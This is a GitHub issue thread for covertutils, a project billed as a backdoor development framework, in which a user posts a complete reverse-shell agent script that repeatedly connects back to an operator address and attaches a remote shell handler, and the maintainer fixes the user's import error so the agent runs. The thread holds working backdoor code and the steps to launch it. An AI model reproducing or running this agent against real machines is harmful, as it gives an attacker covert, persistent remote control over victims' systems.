operatorequals / covertutils

A framework for Backdoor development!
http://covertutils.readthedocs.io
437 stars 69 forks source link

No module named “...........” #11

Closed xixuedafa closed 7 years ago

xixuedafa commented 7 years ago
#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket
from time import sleep

from hashlib import sha512

passphrase = "Pa55phra531"
addr = sys.argv[1], int(sys.argv[2])
delay = int( sys.argv[3] )

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

closed = True

while True :

    if closed :
        try :
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect( addr )
            closed = False
        except Exception as e:
            sleep( delay )
            continue

    def recv () :
        global closed
        try :
            ret = s.recv(50)
            if ret == '' :    # in empty string socket is closed
                closed = True
                s.close()
        except :
            closed = True
            return ''
            # print( "Connection Terminated" )
            # ret = 'X'
        return ret

    def send( raw ) :
        return s.send( raw )

    orch = SimpleOrchestrator( passphrase, tag_length = 2, out_length = 50, in_length = 50, reverse = True )
    handler = ExtendableShellHandler( recv, send, orch )    # Create the Handler Daemon Thread

    while not closed : sleep(1)

"Traceback (most recent call last): File "agent.py", line 2, in from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler ImportError: No module named handlers.impl"

"Traceback (most recent call last): File "server.py", line 2, in from covertutils.handlers import BaseHandler ImportError: No module named handlers"

Why doesn't it work? python2,7

operatorequals commented 7 years ago

You are trying to run an example! Examples are located under the examples/ directory, and the PYTHONPATH doesn't find any covertutils in the examples/ directory!

This can be solved by using the makefile to run the examples, as shown in the Programming Examples - Documentation Page (top of the page).

You can use the following line:

$ make EX='examples/tcp_reverse_agent.py 127.0.0.5 8080 1' run

in the project's root directory, and the makefile will go and execute the:

run :
    PYTHONPATH=".:${PYTHONPATH}" ${EX}

adjusting the PYTHONPATH environment variable that will be used by the example code.

Generally, adjust your PATHs, as I see that you have 2 files! I tried all that in a freshly cloned covertutils repo and it worked.

xixuedafa commented 7 years ago

thanks,it works!

cclauss commented 7 years ago

@xixuedafa Please close the issue?